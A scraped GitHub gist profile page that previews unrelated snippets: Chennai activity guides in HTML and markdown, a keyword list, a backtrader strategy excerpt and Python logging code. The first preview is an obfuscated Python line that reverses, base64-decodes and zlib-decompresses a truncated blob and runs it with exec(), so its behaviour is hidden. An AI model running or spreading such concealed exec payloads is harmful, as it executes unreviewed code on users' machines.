Skip to content

Instantly share code, notes, and snippets.

View PandaWhoCodes's full-sized avatar

Thomas Ashish Cherian PandaWhoCodes

View GitHub Profile
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=M2SVa6B//33z7vWQ2T/4eGPt/V3mn4k7YMPSTkxJ1hvRqejDp/Lddr+dLGAlU7l7BGQoCbQBwQw89cyzbAFR8wYmJxwIjigNyrxQ+21wX3Fxhv/xohray1SB3nIgSrzWlGfnpVcXQJJw9h7/ckpoN0ZwcfgbRobY8Gf5cs/NezaGX+jlFC8hHt68R2zaPNowxYWdWdzejHven4XtVJ+zmBweBFbgm+MFb8OlNGq+CiFF20TMhVoV+LwBnFfBtWmVNraBrkk3Vvm01Gr0D02gYngXrso/ub4U0nenf/19oNzBTwYaiL1exVX6kvzJdB9aFaX1RcXSun/jpbcDhwinHqx0B6b2kWqsW2xsg4rS/QdJqBkO5JKQ/Rg3Eje2Ja9plRFJGcJzUruQu3nvI/Q2XlhfmSV1y989bOtwUGh6jsO1E6P4OW29JYFpfxLGkDYVmSOXJLquCbmK9S6PNGY1/k7NEWqPQZVfjAnR5z3Y2BM1sLYCCbeAbPqbfTvsS4IgshfxBXAKFjogcrrB1Z8KRdoJpTDu7kh/JBR4ZYF0Y6dvmZsiCgz3wOMv2mgx4yN+QCkDkv0lljQlvBczNnkAHaADDGwvWmqJNR0ICf3UO5DJjYQ59UmmnERoaru2fjXpMtv0cCC5CskU9UE2dnzJBvhXGv7lJ+vw/ALi5fErGGtLlY2vH/7LA/Y6mZCWufPRmIZRaXMdGjaO682ac1mONeUQ9vyI1tdStq/Cwy8rZDN6zUuxSOINyglQLIOtxq73WImkRo9W3JTThtTjgtzSrW/o1bxf6RuEhe8j5cO0ErUNHg2AFxCP7BKwNzPCs6SI27lHLKFMn4AsSYGwBzNQ2N86ve0UuEPyfjAvOyRoEWhRwgBP0V4V7yjtssM5Db0rOJVqSAm1xEBin00HVNI1kGbHRQS
@PandaWhoCodes
PandaWhoCodes / index.html
Created February 12, 2026 19:59
Things to Do in Chennai — 80+ Activities Interactive Guide
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Things to Do in Chennai — 80+ Activities Guide</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&display=swap" rel="stylesheet">
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.12.5/gsap.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.12.5/ScrollTrigger.min.js"></script>
@PandaWhoCodes
PandaWhoCodes / index.html
Last active February 12, 2026 20:01
Chennai Explorer — 100+ Things to Do (Interactive Website)
<!DOCTYPE html>
<html lang="en" class="scroll-smooth">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Chennai Explorer — 100+ Things to Do</title>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&display=swap" rel="stylesheet">
<script src="https://cdn.tailwindcss.com"><\/script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.12.5/gsap.min.js"><\/script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.12.5/ScrollTrigger.min.js"><\/script>
@PandaWhoCodes
PandaWhoCodes / chennai-activities.md
Last active February 12, 2026 19:07
Chennai Activities Guide — Beyond the Obvious (Feb 2026)

🏙️ The ULTIMATE Chennai Activities Guide

Last updated: February 2026 | Cut the middleman — book direct


🏄 WATER SPORTS & BEACH

Surfing — Covelong Point / Surf Turf

  • Learn surfing at India's best urban surf spot
  • 📍 Kovalam/Covelong, ECR · Map
A
A + Certified
A-110
A-122
A-123
A-133
A-frames
A-GPS
A/B Testing
A/R analysis
To sell only the stocks that are not there in this week's new strategy and keep the stocks that still remain, you can modify the code as follows:
```python
import backtrader as bt
import pandas as pd
# Define the strategy
class MyStrategy(bt.Strategy):
def __init__(self):
import logging
import collections
import threading
import time
from collections import defaultdict
def log_info(message, logger):
logger.info(message)
time.sleep(3)
import logging
import time
import threading
from collections import defaultdict
def log_info(message,logger):
logger.info(message)
time.sleep(3)
logger.info(message)
import logging
import time
import threading
import io
def log_info(message,logger):
logger.info(message)
time.sleep(3)
logger.info(message)
import logging
import time
import threading
logger = logging.getLogger()
# Set up logging
logging.basicConfig(
level=logging.INFO, format="%(asctime)s %(message)s", datefmt="%Y-%m-%d %H:%M:%S"
)